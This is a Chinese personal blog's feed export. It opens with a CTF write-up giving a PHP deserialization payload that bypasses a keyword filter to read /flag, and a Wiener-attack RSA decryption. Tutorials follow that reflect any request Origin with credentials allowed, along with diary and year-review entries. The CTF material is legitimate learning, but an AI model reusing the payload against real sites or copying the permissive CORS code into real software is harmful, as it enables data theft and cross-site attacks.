    <content type="html"><![CDATA[<!-- wp:heading {"level":1} --><h1>Power_cut</h1><!-- /wp:heading --><!-- wp:paragraph --><p><strong>.swp泄露+基础反序列化</strong></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>一开始懵了很久，打开就一句话：昨晚因为14级大风停电了，其他啥都扫不出来。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>后面考虑到停电 =&gt; 意外退出vim =&gt; .swp泄露</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>于是访问<code>/.index.php.swp</code>，成功下载。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>使用<code>vim -r</code>恢复该文件，得到源码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpclass logger{    public $logFile;    public $initMsg;    public $exitMsg;      function __construct($file){        // initialise variables        $this->initMsg="#--session started--#\n";        $this->exitMsg="#--session end--#\n";        $this->logFile =  $file;        readfile($this->logFile);            }      function log($msg){        $fd=fopen($this->logFile,"a+");        fwrite($fd,$msg."\n");        fclose($fd);    }      function __destruct(){        echo "this is destruct";    }}class weblog {    public $weblogfile;    function __construct() {        $flag="system('cat /flag')";        echo "$flag";    }    function __wakeup(){        // self::waf($this->filepath);        $obj = new logger($this->weblogfile);    }    public function waf($str){        $str=preg_replace("/[&lt;>*#'|?\n ]/","",$str);        $str=str_replace('flag','',$str);        return $str;    }    function __destruct(){        echo "this is destruct";    }}$log = $_GET['log'];$log = preg_replace("/[&lt;>*#'|?\n ]/","",$log);$log = str_replace('flag','',$log);$log_unser = unserialize($log);?>&lt;html>&lt;body>&lt;p>&lt;br/>昨天晚上因为14级大风停电了.&lt;/p>&lt;/body>&lt;/html></pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>发现是一个反序列化题，pop链很简单(其实有一堆乱七八糟的干扰代码，可能是本来想出难一点的）。有基础的过滤，但是是str_replace的单次替换，且是将flag直接删去，于是可通过重写来绕过。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>poc:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"nsis"} --><pre class="EnlighterJSRAW" data-enlighter-language="nsis" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpclass logger{    public $logFile;    public $initMsg;    public $exitMsg;    function __construct($file){        // initialise variables        $this->initMsg="#--session started--#\n";        $this->exitMsg="#--session end--#\n";        $this->logFile =  $file;        readfile($this->logFile);    }    function log($msg){        $fd=fopen($this->logFile,"a+");        fwrite($fd,$msg."\n");        fclose($fd);    }    function __destruct(){        echo "this is destruct";    }}class weblog {    public $weblogfile;    function __construct() {        $flag="system('cat /flag')";        echo "$flag";    }    function __wakeup(){        // self::waf($this->filepath);        $obj = new logger($this->weblogfile);    }    public function waf($str){        $str=preg_replace("/[&lt;>*#'|?\n ]/","",$str);        $str=str_replace('flag','',$str);        return $str;    }    function __destruct(){        echo "this is destruct";    }}$a = new weblog();$a->weblogfile = "/flflagag";echo serialize($a);</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p><code>O:6:"weblog":1:{s:10:"weblogfile";s:9:"/flflagag";}</code></p><!-- /wp:paragraph --><!-- wp:heading {"level":1} --><h1>rsa</h1><!-- /wp:heading --><!-- wp:paragraph --><p>小李截获一个RSA加密信息，能帮忙解开吗？</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484183411072837136505848853313100468119277511144235171654313035776616454960333999039452491921144841080778960041199884823368775400603713982137807991048133794452060951251851183850000091036462977949122345066992308292574341196418</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>e=119393861845960762048898683511487799317851579948448252137466961581627352921253771151013287722073113635185303441785456596647011121862839187775715967164165508224247084850825422778997956746102517068390036859477146822952441831345548850161988935112627527366840944972449468661697184646139623527967901314485800416727</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605784826977177132590941852043292009336108553058140643889603639640376907419560005800390316898478577088950660088975625569277320455499051275696998681590010122458979436183639691126624402025651761740265817600604313205276368201637427</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>考虑到e非常大，可以考虑使用连分数展开的方法攻击，于是使用github上的wiener rsa的攻击脚本<a href="https://github.com/pablocelayes/rsa-wiener-attack" target="_blank" rel="noreferrer noopener">https://github.com/pablocelayes/rsa-wiener-attack</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>解出d =1357235344673103496180998879094975443560606119995553415369479</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>直接解：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">import gmpy2 as gpimport binasciie=119393861845960762048898683511487799317851579948448252137466961581627352921253771151013287722073113635185303441785456596647011121862839187775715967164165508224247084850825422778997956746102517068390036859477146822952441831345548850161988935112627527366840944972449468661697184646139623527967901314485800416727c=58703794202217708947284241025731347400180247075968200121227051434588274043273799724484183411072837136505848853313100468119277511144235171654313035776616454960333999039452491921144841080778960041199884823368775400603713982137807991048133794452060951251851183850000091036462977949122345066992308292574341196418n=143197135363873763765271313889482832065495214476988244056602939316096558604072987605784826977177132590941852043292009336108553058140643889603639640376907419560005800390316898478577088950660088975625569277320455499051275696998681590010122458979436183639691126624402025651761740265817600604313205276368201637427d = 1357235344673103496180998879094975443560606119995553415369479m = gp.powmod(c,d,n)print(binascii.unhexlify(hex(m)[2:]).decode(encoding="utf-8"))</pre><!-- /wp:enlighter/codeblock -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:1} --&gt;
&lt;h1&gt;Power_cut&lt;/h1&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;&lt;strong&gt;.swp泄露+基础反序列化&lt;/strong&gt;&lt;/p&gt;
&lt;!-- /w</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>写在20岁生日前</title>
    <link href="https://deoplljj.com/2021/04/before-my-20birthay/"/>
    <id>https://deoplljj.com/2021/04/before-my-20birthay/</id>
    <published>2021-04-02T15:12:46.000Z</published>
    <updated>2021-04-02T15:13:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>  难以置信啊，马上就要告别那个十几岁的自己、正式迈入”20多岁”的行列当中了，用自己的玩笑话说就是”迈入了人生的第五个五年计划”。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="青春匆匆流去">青春匆匆流去</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  至今仍然记得在小学毕业的时候，家里人对我说，中学的六年一眨眼就过去了。当时自己还仍然觉得六年是一个多么漫长的时光，他们只不过是离学生时代比较远了，才会觉得中学的时光过得飞快。时间在学生的眼中应该是漫长且枯燥的。而如今，眨眼间时间已经到了大二。每每想起这个，在苦笑的同时也开始感觉到学生的时光是在指间飞速流逝的。尤其是大学的四年，看似是一段完全可以”放飞自我”而又漫长的一段时光，但这也决定了自己会成为什么样的人、有多大的能力。大学可以选择睡觉、玩乐，反正成绩除了评选奖学金和出国也没有任何用；同时也可以选择不断磨练和提升自我，让大学的时光得以充实、让自己各方面的能力得以提升。在感叹自己这么快就迈入20岁的同时，也暗自庆幸在过去的一年多的时间里，至少没有颓废和浪费太多的时间，还是有所收获的。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="热爱与偏执">热爱与偏执</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  上了大学才发现，自己多多少少都有那么一些偏执与任性。自己认定了正确的、喜欢的、要做的事情，绝对不会轻言放弃，哪怕它是错的。让自己放弃一件自己认定的东西，多多少少还是有一点难度的。虽然这种性格在很多时候为我带来的是麻烦与困扰，但是我也深深的感觉到这种性格恰恰是目前我的一些小成就的基础。为了自己的热爱而偏执，这在未来也许就是一个强大的魔法，将会为我改变自己、改变世界——哪怕只有一点点，提供一股强有力的力量。当然，这也需要控制好了，不能让它产生负面的影响，从而影响自己的生活。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="平衡与选择">平衡与选择</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  在进入了这个专业以后，我就抱着”Excellence With a Soul”这句名言而开始探索一条属于自己的道路，坚信一个卓越的灵魂无论在哪都是闪闪发光的。现在也开始感受到了丰富而又精彩的大学生活——从严肃的学术研究到各种比赛，从学生活动到普通的社交。现在也开始慢慢感觉到自己的精力有些不够用了。这也就要艰难地在当中做出选择。例如，自己理想的专业和当前的专业之间要怎么样合理安排时间、一些诱人的比赛和项目是否有必要参加或者要花多少的精力下去、感情和学术和兴趣之间很难兼顾。这也就需要自己多加权衡，尝试做出最优解了。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="认知与定位">认知与定位</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  说实在的，我很少有去了解我在别人心目中是什么样的定位，也是感觉没有多大的兴趣了解别人是怎么看待我的，但是在一些时候，不了解自己在别人眼中的形象其实也会带来蛮多的不便的。偶尔也有听到闲言碎语，也是没放在心上。目前感觉到一个蛮重要的任务就是搞清楚自己的定位，方能在处世过程当中，做出得体的响应。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="一些小情绪">一些小情绪</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  最近也不知道是怎的，为了一件事情而操碎了心思。虽说过往的那段阴霾在我心中已经基本散去，但是每每想起那个深夜，心中都会涌起一股杂陈的味道，或是悲凉，或是愤怒。但不管怎么说，几个月过去了，之前的那件事情就都已经差不多散去了。但现在新面临的这个状况又让我有点不知所措。虽然很想把这种感觉给深深埋在心里，但是却感觉难以平静。理性让我感觉到在感情和工作面前我应该选择自己的工作，不管怎么样，只有慢慢地去处理了。<br>  随着年龄的增长，生日这个仪式似乎也在慢慢地被淡化。在小时候，每每到生日前夕，都在期待着生日的到来。而现在，我却反倒是希望生日这一天快点过去。现今只是感觉这个仪式有些喧嚣吵闹，加之没有了老友的陪伴，似乎一切都已经没有了它应该有的那个味道。现在，在生日前夕，只感觉有些空虚和难过，不知所措。</p><!-- /wp:paragraph --><!-- wp:heading --><h2 id="最后">最后</h2><!-- /wp:heading --><!-- wp:paragraph --><p>  不管自己愿意与否，20岁已经到来了。比起十几岁的那个稚嫩少年，肩上承担着更多的责任与理想，但不变的，仍然是那颗初心。人的容颜会变得成熟、走向衰老，但只要初心不变，就仍然还是从前的那个少年。</p><!-- /wp:paragraph --><!-- wp:quote --><blockquote class="wp-block-quote"><p>愿你阅尽千帆，归来仍是少年</p></blockquote><!-- /wp:quote --><!-- wp:paragraph --><p><a href="https://diary.deoplljj.com/2021/04/02/before-my-20birthday/" target="_blank" rel="noreferrer noopener">查看原文(deoplljj's diary)</a></p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;  难以置信啊，马上就要告别那个十几岁的自己、正式迈入”20多岁”的行列当中了，用自己的玩笑话说就是”迈入了人生的第五个五年计划”。&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!-- wp:heading --&gt;
</summary>
      
    
    
    
    <category term="生活" scheme="https://deoplljj.com/categories/%E7%94%9F%E6%B4%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>uni-app中使用微信JSSDK</title>
    <link href="https://deoplljj.com/2021/03/uni-app%E4%B8%AD%E4%BD%BF%E7%94%A8%E5%BE%AE%E4%BF%A1jssdk/"/>
    <id>https://deoplljj.com/2021/03/uni-app%E4%B8%AD%E4%BD%BF%E7%94%A8%E5%BE%AE%E4%BF%A1jssdk/</id>
    <published>2021-03-21T13:22:33.000Z</published>
    <updated>2021-03-21T14:36:57.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>最近在业务上遇到一个问题：在一个H5页面中需要打开微信的扫码界面。在uni-app中，有原生的扫码方法，但是很遗憾的是，这个方法不支持H5。因此就需要用到微信的JSSDK了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在网上找了一堆，给的方法也是五花八门。要么就是代码都是错的，要么就是没有后端代码。于是乎只能自己动手丰衣足食。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>关于appid还有怎么安装JSSDK这些就不再赘述了，直接在uni-app的官网就能找到。我采用的方法是npm安装Jweixin-module。但是看DCloud论坛中有人说这样安装的话有一些模块已经过时了，因此或许可以尝试先npm安装Jweixin-moudle，之后将js替换成微信官方最新的。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>由于JSSDK有严格的认证机制，因此需要进行服务端的配置。我直接使用的纯原生php来搭建的服务，因为自己的博客服务器用的不是thinkphp，而且这个认证功能也没有非常复杂，没必要杀鸡用牛刀，对于服务器本身就配置好了thinkphp框架或者flask 框架这些的，把代码改一下即可。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>后端代码：</h2><!-- /wp:heading --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpheader('access-control-allow-credentials:true');header('access-control-allow-origin:'.$_SERVER['HTTP_ORIGIN']);header('Access-Control-Max-Age: 1800');header('Access-Control-Allow-Methods:GET,POST,PUT,POST');header('Access-Control-Allow-Headers:x-requested-with,content-type');error_reporting(1);function guid() //生成随机字符串nonceStr用{    if (function_exists('com_create_guid')) {        return com_create_guid();    } else {        mt_srand((double)microtime() * 10000);        $charid = md5(uniqid(rand(), true));        $uuid = substr($charid, 0, 8)            . substr($charid, 8, 4)            . substr($charid, 12, 4)            . substr($charid, 16, 4)            . substr($charid, 20, 12);        return $uuid;    }}function curl_get($url){ //get方法，用于获取accessToken和Jsapi-token//初始化    $curl = curl_init();//设置抓取的url    curl_setopt($curl, CURLOPT_URL, $url);//设置头文件的信息作为数据流输出    //  curl_setopt($curl, CURLOPT_HEADER, 1);//设置获取的信息以文件流的形式返回，而不是直接输出。    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//执行命令    $data = curl_exec($curl);    // echo curl_getinfo($curl, CURLINFO_HTTP_CODE); //输出请求状态    curl_close($curl);    return $data;}function renewTicket(){ //获取Jsapi-token    try {        $accessJson = json_decode(curl_get("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&amp;appid=APPID&amp;secret=APPSECRET")); //此处补上你的appid和appsecret        $accessToken = $accessJson->access_token;        $ticketJson = json_decode(curl_get("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $accessToken . "&amp;type=jsapi"));        $ticketdata = array();        $ticketdata["ticket"] = $ticketJson->ticket;        $ticketdata["exp"] = time() + $ticketJson->expires_in;        $ticketFile = fopen('__Tickets', 'w');    //**重要** 请自行将__Tickets更名为随机字符串或不易被猜测的文件名，下同，另请注意Linux的读写权限分配，否则会出现无法写入新的tickets的情况        $ToWrite = json_encode($ticketdata);        fwrite($ticketFile, $ToWrite);        fclose($ticketFile);        return $ticketJson->ticket;    }catch (Exception $e){        echo $e;    }}function GetJsapi(){    $ticketfile = fopen('__Tickets',"r");    $tickets = json_decode(fread($ticketfile,filesize('__Tickets')));    fclose($ticketfile);    if(time()&lt;$tickets->exp){        return $tickets->ticket;    }else{        return renewTicket();    }}$jsapi_ticket = GetJsapi();$timestamp = time();$nonce = guid();$url = $_GET["url"];$ret = array();$ret["timestamp"] = $timestamp;$ret["nonceStr"] =$nonce;$tmpStr = "jsapi_ticket=".$jsapi_ticket.'&amp;noncestr='.$nonce."&amp;timestamp=".$timestamp.'&amp;url='.$url;$tmpStr = sha1($tmpStr);$ret["signature"] = $tmpStr;echo json_encode($ret);</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>服务器的返回是一个json格式：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"json"} --><pre class="EnlighterJSRAW" data-enlighter-language="json" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">{     "timestamp":1616332427,     "nonceStr":"e5a4f4994472631a9f7299e358449fd9",     "signature":"9d85562617da3bf9ed729005079ab91f3d845556"}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>在uni-app端，在<code>onLoad()</code>下，先向服务器请求签名：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"js"} --><pre class="EnlighterJSRAW" data-enlighter-language="js" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">async getsign(){    this.url = location.href.split('#')[0]    uni.request({        url:"你的服务地址",        method:"GET,",        data:{            "url":this.url        },        success:((res)=>{            console.log(res.data),            this.retdata = res.data;        })    })}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>之后进行config:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"js"} --><pre class="EnlighterJSRAW" data-enlighter-language="js" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">jweixin.config({    debug: false, // 开启调试模式,调用的所有api的返回值会在客户端alert出来，若要查看传入的参数，可以在pc端打开，参数信息会通过log打出，仅在pc端时才会打印。    appId: "APPID", // 必填，公众号的唯一标识    timestamp: this.retdata.timestamp , // 必填，生成签名的时间戳    nonceStr: this.retdata.nonceStr, // 必填，生成签名的随机串    signature: this.retdata.signature,// 必填，签名    jsApiList: ['scanQRCode'] // 必填，需要使用的JS接口列表}),jweixin.ready(function(){    jweixin.checkJsApi({    jsApiList: ['scanQRCode'], // 需要检测的JS接口列表，所有JS接口列表见附录2,    success: function(res) {        console.log("success"+res);    },    fail: function(res){        console.log("fail"+res);    }    });}),jweixin.error(function(res){// config信息验证失败会执行error函数，如签名过期导致验证失败，具体错误信息可以打开config的debug模式查看，也可以在返回的res参数中查看，对于SPA可以在这里更新签名。    console.log(res,'接口验证失败')});</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>之后就可以进行操作了，例如我这里需要用的扫码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock --><pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">scanqr(){    var jweixin = require('jweixin-module');    jweixin.scanQRCode({       needResult: 1, // 默认为0，扫描结果由微信处理，1则直接返回扫描结果，       scanType: ["qrCode","barCode"], // 可以指定扫二维码还是条形码，默认二者都有       success: function (res) {         // 要做的事情       }    });}</pre><!-- /wp:enlighter/codeblock -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;最近在业务上遇到一个问题：在一个H5页面中需要打开微信的扫码界面。在uni-app中，有原生的扫码方法，但是很遗憾的是，这个方法不支持H5。因此就需要用到微信的JSSDK了。&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;
</summary>
      
    
    
    
    <category term="黑科技" scheme="https://deoplljj.com/categories/%E9%BB%91%E7%A7%91%E6%8A%80/"/>
    
    
  </entry>
  
  <entry>
    <title>uni-app/微信小程序开发踩坑记 - 业务域名篇</title>
    <link href="https://deoplljj.com/2021/01/uni-app-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E8%B8%A9%E5%9D%91%E8%AE%B0-%E4%B8%9A%E5%8A%A1%E5%9F%9F%E5%90%8D%E7%AF%87/"/>
    <id>https://deoplljj.com/2021/01/uni-app-%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91%E8%B8%A9%E5%9D%91%E8%AE%B0-%E4%B8%9A%E5%8A%A1%E5%9F%9F%E5%90%8D%E7%AF%87/</id>
    <published>2021-01-18T13:13:30.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>最近在用uni-app开发小程序。在使用<code data-enlighter-language="generic" class="EnlighterJSRAW">uni.request()</code>的过程中，发现向业务域名请求的内容在HBuilderX的内置浏览器里面和微信开发者工具的预览加载正常，但是在Chrome和小程序真机预览中无法加载。体现为链接有100ms左右的延迟，但是请求为failed，没有任何preview。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>一开始以为是业务域名的问题，但是通过检查以后发现没有问题，服务器也配置了SSL。而且Chrome中不应当受到小程序业务域名的影响。</p><!-- /wp:paragraph --><!-- wp:image {"id":741,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/GOTGWH_ON@107SPR61VA-1024x630.png" alt="" class="wp-image-741"/></figure><!-- /wp:image --><!-- wp:heading --><h2>解决方案</h2><!-- /wp:heading --><!-- wp:heading {"level":3} --><h3>Chrome ：CORS跨域请求问题</h3><!-- /wp:heading --><!-- wp:paragraph --><p>原因是Chrome自某个版本开始，将CORS控制调整到了严格级别，也就是在Request Header中体现出的<code data-enlighter-language="generic" class="EnlighterJSRAW">Referrer Policy: strict-origin-when-cross-origin</code> 。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>解决方法是在服务端(这里用的是php)配置如下代码：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">header('access-control-allow-credentials:true');header('access-control-allow-origin:'.$_SERVER['HTTP_ORIGIN']);header('Access-Control-Max-Age: 1800');header('Access-Control-Allow-Methods:GET,POST,PUT,POST');header('Access-Control-Allow-Headers:x-requested-with,content-type');</pre><!-- /wp:enlighter/codeblock --><!-- wp:heading {"level":3} --><h3>微信小程序：SSL证书链问题</h3><!-- /wp:heading --><!-- wp:paragraph --><p>在排除CORS问题后，Chrome端请求正常。但是小程序端问题依旧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>增加错误信息输出，得到了<code data-enlighter-language="generic" class="EnlighterJSRAW">request:fail -2:net::ERR_FAILED</code></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>经过长时间的资料查找，最终发现是服务端的SSL证书链不完整导致的问题。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>参考：<a rel="noreferrer noopener" href="https://blog.csdn.net/cike___/article/details/109544449" target="_blank">https://blog.csdn.net/cike___/article/details/109544449</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>检查地址：<a href="https://ssltools.digicert.com/checker/views/checkInstallation.jsp">https://ssltools.digicert.com/checker/views/checkInstallation.jsp</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>将中间证书crt_chain的内容直接粘贴在你的服务器证书后面即可。</p><!-- /wp:paragraph --><!-- wp:image --><figure class="wp-block-image"><img src="https://img-blog.csdnimg.cn/20201107113030379.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Npa2VfX18=,size_16,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述"/></figure><!-- /wp:image -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;最近在用uni-app开发小程序。在使用&lt;code data-enlighter-language=&quot;generic&quot; class=&quot;EnlighterJSRAW&quot;&gt;uni.request()&lt;/code&gt;的过程中，发现向业务域名</summary>
      
    
    
    
    <category term="黑科技" scheme="https://deoplljj.com/categories/%E9%BB%91%E7%A7%91%E6%8A%80/"/>
    
    
  </entry>
  
  <entry>
    <title>2020年度总结</title>
    <link href="https://deoplljj.com/2021/01/my2020/"/>
    <id>https://deoplljj.com/2021/01/my2020/</id>
    <published>2021-01-03T05:38:56.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>在每一年的12月末，我都会在博客上写下关于这一年的总结。这到现在似乎已经成为了一种习惯。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>2020年的12月末恰逢各种报告和论文扎堆，于是就留到了2021年再动笔。这个学期的期末由于疫情而提早，因此现在又正好是期末复习的高峰期。虽然还有一大堆的东西没有开始复习，但是这个年年留下来的习惯还是要继续保留下来。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>2020年也许没有2019年那样多且横跨中学和大学这么大跨度的事情，但是仔细回想起来，仍然感觉2020年是精彩而又是酸甜苦辣交织的一年。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>回顾2020</h2><!-- /wp:heading --><!-- wp:heading {"level":3} --><h3>年初</h3><!-- /wp:heading --><!-- wp:paragraph --><p>2020真是极度不平凡的一年。在19年年末到20年年初还在学校的这一段时间，或许是我大一开学以来感到最快乐的时光之一。因为受到了某种鼓舞(?),每一天都感觉到特别有动力，每一天都感觉到特别的开心，仿佛期末带来的压力可以被全部抛在脑后。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在放寒假回家的时候，谁也没有料到在几天后，世界的格局将发生翻天覆地的变化。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在回家后，每天紧张的复习生活转变成了每天早起练车的生活。其实在一开始我并没有学车的打算，只是在家长的催促下，我和朋友一起开始了学车之旅。比较没有想到的是，在仅仅学了3天之后，教练就让我把车从教练场开回城区（蛮远的，可能有4，5km的样子，而且是从很窄很破的乡村道路开到国道再开到市区最繁华的道路上）。那一次是真的感受到了全身在冒汗、心跳不断在加速的感觉。但是在下车后却有一种从来没有的成就感。这种成就感或许来自于之前对于马路上车来车往的恐惧吧——我之前一直认为，操作一台一吨多甚至两吨的机器在想迷宫一样的道路上和其他的“机器”一同行驶，是一件非常恐怖的事情。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>春节前几天，新闻开始播出武汉出现不明原因传染病的消息。虽然在之前从来没有听说过这样的消息，但是包括我在内的大部分人都没有太过于放在心上——毕竟，谁又会想到这一颗“火种”在后面会以如此恐怖的速度发展下去呢？</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>除夕前两天，一切关于新年的事务都在紧锣密鼓地准备中。然而突然传来地武汉封城、全国取消春节所有聚集性活动和春节期间不出门的通知令所有人都感到措手不及。从网络上的网友到身边的同学、亲友、长辈都在惶恐地讨论这件事情。这一年的格局，从这一天开始发生了翻天覆地的变化。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>从年初一开始，我就和家人开始了长达15天的“宅家”生活。我个人属于“宅不住”的那种人，因此每天在家都感觉是一种煎熬。在年初三那天我出门去超市买东西，在大街上看到所有的人都戴着口罩、原本应该人群熙熙攘攘的大街一片死寂，心中不由地开始颤抖。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>那段时间，每天早晨起来的第一件的事情就是查看最新更新的疫情信息，关注每天的新增病例数。每天都在祈祷疫情快点结束。</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>春</h3><!-- /wp:heading --><!-- wp:paragraph --><p>本以为这一次疫情会在全国人民开始隔离一个月后就可以慢慢结束，但是疫情并没有如预期般的那么快结束，而且似乎还愈演愈烈了起来。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>现在自己回想起来，也不大记得那段时间自己具体做了些什么，唯一记得的就是自己在那段时间ctf的长进可能是从入学以来进展最快的时间之一，尤其是在网鼎杯前夕，自己不知道从哪里来的一股动力，开始每天给自己定一个刷题小目标并在博客上写打卡笔记。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":719,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large"><img src="/images/2021/01/image.png" alt="" class="wp-image-719"/></figure></div><!-- /wp:image --><!-- wp:paragraph --><p>最终终于能在网鼎杯上能写出几道题目——虽然还是很菜，但是感觉自己能够找到一个大致地努力的方向了，也算是没有白白浪费掉疫情在家的这段时间。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在宅家的这段时间，由于一个突然萌生的创意想法，加上在4月份有一个人生日，我打算开始做一个“大工程”。详细的制作过程我已经在一篇博文里面完完整整的记录了下来，这篇博文本来是设置了需要密码才能查看，但现在早已物是人非，遂决定开放。</p><!-- /wp:paragraph --><!-- wp:image {"align":"center","id":720,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large"><img src="/images/2021/01/image-1.png" alt="" class="wp-image-720"/></figure></div><!-- /wp:image --><!-- wp:image {"align":"center","id":465,"width":475,"height":632,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large is-resized"><img src="/images/2020/04/FF56DC9B084A2F19D75E137A11B4A072-768x1024.jpg" alt="" class="wp-image-465" width="475" height="632"/></figure></div><!-- /wp:image --><!-- wp:image {"align":"center","id":467,"width":164,"height":272,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large is-resized"><img src="/images/2020/04/QQ视频20200407194545-00_00_02.50-00_00_12.50.gif" alt="" class="wp-image-467" width="164" height="272"/></figure></div><!-- /wp:image --><!-- wp:paragraph 